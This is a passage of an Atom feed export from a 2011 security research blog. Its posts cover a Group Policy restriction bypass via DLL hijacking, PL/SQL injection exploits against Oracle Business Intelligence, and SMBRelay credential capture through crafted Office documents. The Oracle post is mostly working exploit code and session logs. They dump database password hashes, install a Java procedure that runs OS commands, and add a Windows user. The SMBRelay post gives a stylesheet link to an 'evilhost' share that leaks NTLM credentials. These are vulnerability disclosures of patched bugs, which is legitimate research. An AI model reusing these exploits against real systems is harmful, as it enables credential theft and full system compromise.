href="http://erpscan.com/advisories/dsecrg-11-034-sap-netweaver-j2ee-mesync-%e2%80%93-information-disclose/"&gt;http://erpscan.com/advisories/dsecrg-11-034-sap-netweaver-j2ee-mesync-%e2%80%93-information-disclose/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-2215775302249014192?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/2215775302249014192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/11/mass-disclose-of-vulnerabilities-in-sap.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2215775302249014192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2215775302249014192'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/11/mass-disclose-of-vulnerabilities-in-sap.html' title='Mass disclose of vulnerabilities in SAP from DSECRG (ERPScan research center)'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-6023817109374372786</id><published>2011-07-22T06:16:00.000-07:00</published><updated>2011-07-25T04:35:41.401-07:00</updated><title type='text'>Universal way to bypass Group Policy by Limited User.</title><content type='html'>&lt;span style="font-weight:bold;"&gt;What is it?&lt;/span&gt;&lt;br /&gt;Group policy is a powerful feature of Windows OS.&lt;br /&gt;&lt;br /&gt;From wiki: “Group Policy is a set of rules which control the working environment of user accounts and computer accounts. Group Policy provides the centralized management and configuration of operating systems, applications and users' settings in an Active Directory environment“&lt;br /&gt;&lt;br /&gt;For example, it can block users’ access to Regedit or IE proxy changing. So it is additional limits for users, besides file system and other permissions.&lt;br /&gt;One of the main parts of Group Policy is represented by Software Restriction Policy (SRP). Administrator can set a little list of software which can be run by limited user with SRP. &lt;br /&gt;Therefore, SRP can level up security of whole system by restricting user’s rights.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How does it work?&lt;/span&gt;&lt;br /&gt;When a user launches a process it’s the parent process that checks SRP to see if the execution of the child should be allowed or blocked. The parent process uses NtQueryValueKey to query the Registry value &lt;span style="font-style:italic;"&gt;HKLM\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled&lt;/span&gt;, which if present and non-zero indicates that SRP is turned on.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How can we bypass it?&lt;/span&gt;&lt;br /&gt;There are few different.&lt;br /&gt;Their main idea is that SRP check is situated in user space. A parent process is owned by a limited user. Therefore, a user can bypass SRP by different memory manipulations.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Attack!&lt;/span&gt;&lt;br /&gt;Marc Russinovich posted a great tool – Gpdisable and a good explanation of SRP on &lt;a href="http://blogs.technet.com/markrussinovich/archive/2005/12/12/circumventing-group-policy-as-a-limited-user.aspx"&gt;his blog&lt;/a&gt;. Gpdisable is now unavailable, but it can be found in &lt;a href="http://web.archive.org/web/20061231193919/http://www.sysinternals.com/files/gpdisable.zip"&gt;Internet&lt;/a&gt;&lt;br /&gt;Gpdisable uses dll-injection techniques, to inject into a parent process memory. Then “it fools the SRP code by returning an error value”, when SRP tries to query TransparentEnabled. Therefore, a parent process can run any other process.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Problem.&lt;/span&gt;&lt;br /&gt;Gpdisable consists of 2 files – gpdisable.exe and gpdisable.dll.&lt;br /&gt;gpdisable.exe – inject DLL into process. &lt;br /&gt;gpdisable.dll – DLL for bypassing SRP.&lt;br /&gt;But in real life, there is a problem - to inject gpdisable.dll. Because in a good restricted system a user has access to run only software from white list. So you should run gpdisable.exe, but you don’t have right to do it. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Real Attack!&lt;/span&gt;&lt;br /&gt;When I read about binary planting, I’ve got an idea how we can inject gpdisable.dll in process. It’s simple – dll-hijacking. But almost all big software (like MS Word, Excel and Notepad :) doesn’t have such vulnerabilities. That’s bad.&lt;br /&gt;But if we use "advanced" dll-hijacking (COM server-based binary planting), we can do it almost of all software. I won’t retell an idea of such binary planting, but you can get it from &lt;a href="http://blog.acrossecurity.com/"&gt;Acros Security Blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Steps to bypass SRP for XP:&lt;br /&gt;1. rename gpdisable.dll to deskpan.dll;&lt;br /&gt;2. create a new folder and name it as files.{42071714-76d4-11d1-8b24-00a0c9068ff3};&lt;br /&gt;3. place deskpan.dll to the new folder;&lt;br /&gt;4. open the folder;&lt;br /&gt;5. create a new rich text document in the folder;&lt;br /&gt;6. double-click the rich-text document.&lt;br /&gt;7. Wordpad runs with gpdisable.dll&lt;br /&gt;8. Bypassed :) We can run any process. &lt;br /&gt;&lt;br /&gt;There are similar steps for Windows Vista/7 and others. &lt;br /&gt;In addition, all that steps we can do from “Open” or “Save As” dialogue, that can be useful for Citrix systems.&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="https://twitter.com/fitblip"&gt;Ryan Sears&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And thank you, for your attention.&lt;br /&gt;&lt;a href="https://twitter.com/antyurin"&gt;Alexey Tyurin&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-6023817109374372786?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/6023817109374372786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/07/universal-way-to-bypass-group-policy-by.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6023817109374372786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6023817109374372786'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/07/universal-way-to-bypass-group-policy-by.html' title='Universal way to bypass Group Policy by Limited User.'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4149038034696678760</id><published>2011-06-16T06:01:00.000-07:00</published><updated>2011-06-16T06:25:18.634-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='0-day'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Hacking Oracle Business Intelligence</title><content type='html'>Here I will show some vulnerabilities founded in Oracle BI and hoe they can be founded and how a different exploits can be written. It will be based on vulnerabilities that was patched in April CPU 2011 by Oracle. Interesting moment that founded PL/SQL vulnerabilities founded in programs that executed by privileged user but not a DBA directly so it is more interesting to find out a way to get access to whole system using those rights.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;1.PL/SQL Injection in  OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID &lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Procedure OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID executes with rights of user OWBREPOS_OWNER and granted to PUBLIC user.  So exploiting vulnerability in this procedure can give any user OWBREPOS_OWNER rights. OWBREPOS_OWNER has a number of critical Roles and privileges so executing vulnerabilities in OWBREPOS_OWNER can give attacker access to all database objects and even give him rights to execute OS commands.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Details&lt;br /&gt;*******&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PL/SQL Injection found in procedure OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID&lt;br /&gt;Vulnerable parameters are:&lt;br /&gt;&lt;br /&gt; Argument Name                  Type                    In/Out Defaul&lt;br /&gt; ------------------------------ ----------------------- ------ ------&lt;br /&gt; P_CUBE_NAME                    VARCHAR2                IN&lt;br /&gt; P_MEASURE_NAME                 VARCHAR2                IN&lt;br /&gt; P_SOLVE_GROUP_ID               VARCHAR2                IN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Argument P_CUBE_NAME is not sanitized so attacker can inject any sql code that can be executed in  OWBREPOS_OWNER rights. OWBREPOS_OWNER is not DBA but he has a number of critical ROLES and PRIVILEGES  that can be used see all data in database tables including user hashes and can be used for access to OS files execute OS commands and get a SYSDBA rights.&lt;br /&gt;&lt;br /&gt;Critical roles and privileges are:&lt;br /&gt;1. SELECT ANY DICTIONARY&lt;br /&gt;2. JAVA_ADMIN&lt;br /&gt;3. CREATE EXTERNAL JOB&lt;br /&gt;4. CREATE ANY DIRECTORY&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1.1 OWBREPOS_OWNER have privilege  "SELECT ANY DICTIONARY"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; So he can get to access password hashes and any other data in database.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;example EXPLOIT:&lt;br /&gt;****************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;CREATE TABLE SH2KERR(id NUMBER, name VARCHAR(20),password VARCHAR(16));&lt;br /&gt;CREATE OR REPLACE FUNCTION SHOWPASS return varchar2&lt;br /&gt;authid current_user as&lt;br /&gt;pragma autonomous_transaction;&lt;br /&gt;BEGIN&lt;br /&gt;EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS';&lt;br /&gt;COMMIT;&lt;br /&gt;RETURN 'Z';&lt;br /&gt;END;&lt;br /&gt;/&lt;br /&gt;grant execute on SHOWPASS to PUBLIC;&lt;br /&gt;grant insert on sh2kerr to PUBLIC;&lt;br /&gt;exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','bbb','bbb');&lt;br /&gt;select * from sh2kerr;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;DISASSEMBLY (here we can see a query where our code in injected)&lt;br /&gt;***********&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL&gt; select sql_text from v$sql where sql_text like '%aaa%';&lt;br /&gt;&lt;br /&gt;SQL_TEXT&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;INSERT INTO OWB$$$_SOLVE_GROUP_IDS(CUBE_NAME, MEASURE_NAME, SOLVE_GROUP_ID) VALU&lt;br /&gt;&lt;br /&gt;ES('aaa'||SCOTT.SHOWPASS()||'aaa', 'bbb', 'ccc')&lt;br /&gt;&lt;br /&gt;select sql_text from v$sql where sql_text like '%aaa%'&lt;br /&gt;BEGIN OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','b&lt;br /&gt;&lt;br /&gt;bb','ccc'); END;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;EXPLOITING LOG&lt;br /&gt;**********&lt;/span&gt;&lt;br /&gt;C:\Documents and Settings\Alexandr.Polyakov&gt;sqlplus scott/tiger@172.16.1.1/bi&lt;br /&gt;se1db&lt;br /&gt;SQL*Plus: Release 10.1.0.2.0 - Production on Tue Feb 17 19:59:18 2009&lt;br /&gt;Copyright (c) 1982, 2004, Oracle.  All rights reserved.&lt;br /&gt;Connected to:&lt;br /&gt;Oracle Database 10g Release 10.2.0.1.0 - Production&lt;br /&gt;&lt;br /&gt;SQL&gt; CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));&lt;br /&gt;Table created.&lt;br /&gt;SQL&gt;&lt;br /&gt;SQL&gt; CREATE OR REPLACE FUNCTION SHOWPASS return varchar2&lt;br /&gt;  2  authid current_user as&lt;br /&gt;  3  pragma autonomous_transaction;&lt;br /&gt;  4  BEGIN&lt;br /&gt;  5  EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_&lt;br /&gt;id,username,password FROM DBA_USERS';&lt;br /&gt;  6  COMMIT;&lt;br /&gt;  7  RETURN 'Z';&lt;br /&gt;  8  END;&lt;br /&gt;  9  /&lt;br /&gt;&lt;br /&gt;Function created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL&gt; grant execute on SHOWPASS to PUBLIC;&lt;br /&gt;&lt;br /&gt;Grant succeeded.&lt;br /&gt;&lt;br /&gt;SQL&gt; grant insert on sh2kerr to PUBLIC;&lt;br /&gt;Grant succeeded.&lt;br /&gt;SQL&gt; exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','bbb','bbb');&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;SQL&gt; select * from sh2kerr;&lt;br /&gt;&lt;br /&gt;        ID NAME                 PASSWORD&lt;br /&gt;---------- -------------------- ----------------&lt;br /&gt;        87 MGMT_VIEW            7341A347*******&lt;br /&gt;         0 SYS                  77E6B621*******&lt;br /&gt;         5 SYSTEM               00F69E7C*******&lt;br /&gt;        24 DBSNMP               2799F7BE*******&lt;br /&gt;        85 SYSMAN               B74FA5204*******&lt;br /&gt;        79 OWBREPOS_USER        77B72F569*******&lt;br /&gt;        54 SCOTT                F894844C3*******&lt;br /&gt;        63 BISE1_TUTORIALWH     D41A12EB3*******&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1.2. OWBREPOS_OWNER have role "JAVA_ADMIN"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So he can execute any OS level commands with privileges of owner of Oracle BI process (In windows by default it is LOCAL SYSTEM user) using for example this exploit:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;EXPLOIT&lt;br /&gt;*******&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2&lt;br /&gt;authid current_user as&lt;br /&gt;  pragma autonomous_transaction;&lt;br /&gt;  SqlCommand VARCHAR2(2048);&lt;br /&gt;&lt;br /&gt;BEGIN&lt;br /&gt;  SqlCommand := '&lt;br /&gt;CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS&lt;br /&gt;import java.lang.*;&lt;br /&gt;import java.io.*;&lt;br /&gt;&lt;br /&gt;public class ExecuteOS&lt;br /&gt;{&lt;br /&gt;  public static void printFile (String fileName) throws IOException&lt;br /&gt;  {&lt;br /&gt;    File fileOut;&lt;br /&gt;    FileReader fileReaderOut;&lt;br /&gt;    BufferedReader buffReader;&lt;br /&gt;    String strRead;&lt;br /&gt;&lt;br /&gt;    fileOut = new File (fileName);&lt;br /&gt;    fileReaderOut = new FileReader (fileOut);&lt;br /&gt;    buffReader = new BufferedReader(fileReaderOut);&lt;br /&gt;    while ((strRead = buffReader.readLine()) != null)&lt;br /&gt;      System.out.println(strRead);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException&lt;br /&gt;  {&lt;br /&gt;    String[] strCmd = {"cmd.exe", "/c", "1&gt;c:\\stdout.txt", "2&gt;c:\\stderr.txt", cmd};&lt;br /&gt;&lt;br /&gt;    System.out.println("==========\r\nExecuting OS command...");&lt;br /&gt;    Process p = Runtime.getRuntime().exec(strCmd);&lt;br /&gt;    p.waitFor();&lt;br /&gt;    System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");&lt;br /&gt;    printFile ("c:\\stdout.txt");&lt;br /&gt;    System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");&lt;br /&gt;    printFile ("c:\\stderr.txt");&lt;br /&gt;  }&lt;br /&gt;}';&lt;br /&gt;  execute immediate SqlCommand;&lt;br /&gt;&lt;br /&gt;  SqlCommand := '&lt;br /&gt;CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)&lt;br /&gt;AS LANGUAGE JAVA&lt;br /&gt;NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';&lt;br /&gt;  execute immediate SqlCommand;&lt;br /&gt;&lt;br /&gt;  execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';&lt;br /&gt;&lt;br /&gt;  commit; -- Must do a commit&lt;br /&gt;  return ''; -- Must return a value&lt;br /&gt;END;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;grant execute on SCOTT.SQLI to PUBLIC;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;SET SERVEROUTPUT ON&lt;br /&gt;/&lt;br /&gt;exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa','bbb','bbb');&lt;br /&gt;/&lt;br /&gt;CALL dbms_java.set_output(1999);&lt;br /&gt;/&lt;br /&gt;EXEC OWBREPOS_OWNER.proc_executeos ('set');&lt;br /&gt;/&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;EXPLOITING LOG&lt;br /&gt;**************&lt;/span&gt;&lt;br /&gt;C:\Documents and Settings\Alexandr.Polyakov&gt;sqlplus scott/tiger@172.16.1.1/bi&lt;br /&gt;se1db&lt;br /&gt;&lt;br /&gt;SQL*Plus: Release 10.1.0.2.0 - Production on Thu Mar 5 11:57:29 2009&lt;br /&gt;&lt;br /&gt;Copyright (c) 1982, 2004, Oracle.  All rights reserved.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connected to:&lt;br /&gt;Oracle Database 10g Release 10.2.0.1.0 - Production&lt;br /&gt;&lt;br /&gt;SQL&gt; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2&lt;br /&gt;  2  authid current_user as&lt;br /&gt;  3    pragma autonomous_transaction;&lt;br /&gt;  4    SqlCommand VARCHAR2(2048);&lt;br /&gt;  5&lt;br /&gt;  6  BEGIN&lt;br /&gt;  7    SqlCommand := '&lt;br /&gt;  8  CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS&lt;br /&gt;  9  import java.lang.*;&lt;br /&gt; 10  import java.io.*;&lt;br /&gt; 11&lt;br /&gt; 12  public class ExecuteOS&lt;br /&gt; 13  {&lt;br /&gt; 14    public static void printFile (String fileName) throws IOException&lt;br /&gt; 15    {&lt;br /&gt; 16      File fileOut;&lt;br /&gt; 17      FileReader fileReaderOut;&lt;br /&gt; 18      BufferedReader buffReader;&lt;br /&gt; 19      String strRead;&lt;br /&gt; 20&lt;br /&gt; 21      fileOut = new File (fileName);&lt;br /&gt; 22      fileReaderOut = new FileReader (fileOut);&lt;br /&gt; 23      buffReader = new BufferedReader(fileReaderOut);&lt;br /&gt; 24      while ((strRead = buffReader.readLine()) != null)&lt;br /&gt; 25        System.out.println(strRead);&lt;br /&gt; 26    }&lt;br /&gt; 27&lt;br /&gt; 28    public static void execOSCmd (String cmd) throws IOException, java.lang.I&lt;br /&gt;nterruptedException&lt;br /&gt; 29    {&lt;br /&gt; 30      String[] strCmd = {"cmd.exe", "/c", "1&gt;c:\\stdout.txt", "2&gt;c:\\stderr.t&lt;br /&gt;xt", cmd};&lt;br /&gt; 31&lt;br /&gt; 32      System.out.println("==========\r\nExecuting OS command...");&lt;br /&gt; 33      Process p = Runtime.getRuntime().exec(strCmd);&lt;br /&gt; 34      p.waitFor();&lt;br /&gt; 35      System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for&lt;br /&gt;the command:");&lt;br /&gt; 36      printFile ("c:\\stdout.txt");&lt;br /&gt; 37      System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the&lt;br /&gt; command:");&lt;br /&gt; 38      printFile ("c:\\stderr.txt");&lt;br /&gt; 39    }&lt;br /&gt; 40  }';&lt;br /&gt; 41    execute immediate SqlCommand;&lt;br /&gt; 42&lt;br /&gt; 43    SqlCommand := '&lt;br /&gt; 44  CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)&lt;br /&gt; 45  AS LANGUAGE JAVA&lt;br /&gt; 46  NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';&lt;br /&gt; 47    execute immediate SqlCommand;&lt;br /&gt; 48&lt;br /&gt; 49    execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';&lt;br /&gt; 50&lt;br /&gt; 51    commit; -- Must do a commit&lt;br /&gt; 52    return ''; -- Must return a value&lt;br /&gt; 53  END;&lt;br /&gt; 54  /&lt;br /&gt;&lt;br /&gt;Function created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL&gt; grant execute on SCOTT.SQLI to PUBLIC&lt;br /&gt;  2  ;&lt;br /&gt;&lt;br /&gt;Grant succeeded.&lt;br /&gt;&lt;br /&gt;SQL&gt; exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa','b&lt;br /&gt;bb','bbb');&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;SQL&gt; SET SERVEROUTPUT ON&lt;br /&gt;SQL&gt; CALL dbms_java.set_output(1999);&lt;br /&gt;&lt;br /&gt;Call completed.&lt;br /&gt;&lt;br /&gt;SQL&gt; EXEC OWBREPOS_OWNER.proc_executeos('set');&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;SQL&gt; EXEC OWBREPOS_OWNER.proc_executeos('set');&lt;br /&gt;==========&lt;br /&gt;Executing OS command...&lt;br /&gt;==========&lt;br /&gt;This was the STANDARD OUTPUT for the command:&lt;br /&gt;ALLUSERSPROFILE=C:\Documents and Settings\All Users&lt;br /&gt;ClusterLog=C:\WINDOWS\Cluster\cluster.log&lt;br /&gt;CommonProgramFiles=C:\Program Files\Common Files&lt;br /&gt;COMPUTERNAME=PINKERTON&lt;br /&gt;ComSpec=C:\WINDOWS\system32\cmd.exe&lt;br /&gt;FP_NO_HOST_CHECK=NO&lt;br /&gt;NUMBER_OF_PROCESSORS=1&lt;br /&gt;ORACLE_SID=bise1db&lt;br /&gt;OS=Windows_NT&lt;br /&gt;Path=D:\oracle\bise1\bi\server\Bin;D:\oracle\bise1\bi\web\bin;D:\oracle\bise1\bi&lt;br /&gt;&lt;br /&gt;\web\catalogmanager;D:\oracle\bise1\bi\SQLAnywhere;D:\oracle\bise1\jdk\bin;D:\or&lt;br /&gt;&lt;br /&gt;acle\bise1\db\bin;D:\oracle\bise1\owb\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WIND&lt;br /&gt;&lt;br /&gt;OWS\System32\Wb&lt;br /&gt;em&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;SQL&gt; EXEC OWBREPOS_OWNER.proc_executeos('net user hax hax /add');&lt;br /&gt;==========&lt;br /&gt;Executing OS command...&lt;br /&gt;==========&lt;br /&gt;This was the STANDARD OUTPUT for the command:&lt;br /&gt;==========&lt;br /&gt;This was the ERROR OUTPUT for the command:&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1.3. OWBREPOS_OWNER have privelege  "CREATE EXTERNAL JOB" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So he can execute any OS level command like in this exploit for example (http://milw0rm.com/exploits/7677)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1.4. OWBREPOS_OWNER have privilege  "CREATE ANY DIRECTORY" &lt;/span&gt;&lt;br /&gt;So he can get the SYSDBA privileges or execute OS level command using for example this method &lt;br /&gt;http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Conclusion&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So you see that even if you have pl/sql injection not only on SYS or SYSTEM package it is also possible to exploit system and even get access to Operation System and to ALL business data. By the way Oracle BI is using in many big companies to store Business data so it is a nice target for attack)&lt;br /&gt;You can also try to repeat these steps at home by trying to exploit similar vulnerabilities in:&lt;br /&gt;1) &lt;a href="http://dsecrg.com/pages/vul/show.php?id=322"&gt;WB_RT_AUDIT_SHADOW_TABLE &lt;/a&gt;&lt;br /&gt;2) &lt;a href="http://dsecrg.com/pages/vul/show.php?id=321"&gt;OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID &lt;/a&gt; &lt;br /&gt;&lt;br /&gt;by sh2kerr&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4149038034696678760?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4149038034696678760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/06/hacking-oracle-business-intellegence.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4149038034696678760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4149038034696678760'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/06/hacking-oracle-business-intellegence.html' title='Hacking Oracle Business Intelligence'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4050101041724913337</id><published>2011-04-25T06:08:00.000-07:00</published><updated>2011-04-25T06:12:02.865-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Explorer'/><category scheme='http://www.blogger.com/atom/ns#' term='MS Office'/><category scheme='http://www.blogger.com/atom/ns#' term='client-side'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='corporate users'/><title type='text'>SMBRelay Bible 6: SMBRelay attacks on corporate users part 2</title><content type='html'>Let’s continue our talk about variants of client-side attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MS Office’s documents.&lt;/span&gt;&lt;br /&gt;As it was written in last blog post, we can create crafted Office’s document and send it to users (via e-mail for example). When a user opens it, an office program tries to connect our server and give us user’s credential.&lt;br /&gt;&lt;br /&gt;Such situation is available because:&lt;br /&gt;1)Almost all MS Office programs have capability to read “html”-file or “mht”-file*.&lt;br /&gt;2)MS Office’s documents can be saved as “html”-file or “mht”-file* without loss of document’s formatting.&lt;br /&gt;3)MS Office programs detect how to parse and process a document by it’s content, not by file extension.&lt;br /&gt;&lt;br /&gt;*“mht”-file - MHTML, short for MIME HTML, is a web page archive format.&lt;br /&gt;&lt;br /&gt;Thereby, we should do next sequence for creating crafted MS Office’s document.&lt;br /&gt;We save any office document as “html”-file or “mht”-file. The second is better because there will be created only one file which contains all parts of the documents.&lt;br /&gt;Then we change (or create) “HREF” attribute of “LINK rel=stylesheet” element from default value to a link to our server. Then we rename the file to a normal office document extension (doc for example). A crafted document is ready. The method is very simple as we can see.&lt;br /&gt;&lt;br /&gt;Example of code:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;link rel=stylesheet href=”\\evilhost\test”&amp;gt;&lt;/blockquote&gt;I want to mark out next interesting features.&lt;br /&gt;Office programs understand “HREF” attribute both with a UNC path (\\evilhost\test) and with a HTTP path (http://evilhost/test). So we can catch user’s credentials via HTTP with NTLM.&lt;br /&gt;MS Office programs show an attention to our victim if it couldn’t download content from a remote resource. This isn’t good. So we should put a document which we created for a victim on our shared resource. And when MS Office program opens a crafted document, it takes style sheet from our shared resource and doesn’t show an attention to a victim.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Windows Explorer and shared resources&lt;/span&gt;&lt;br /&gt;In addition to the last blog post, we have found some specified files, which can give us necessary UNC-request from a user without attention to him.&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight:bold;"&gt;Autorun.inf&lt;/span&gt;&lt;br /&gt;All of us know about “autorun.inf” and problems which it gives to common users via many kinds of viruses. Thereby, 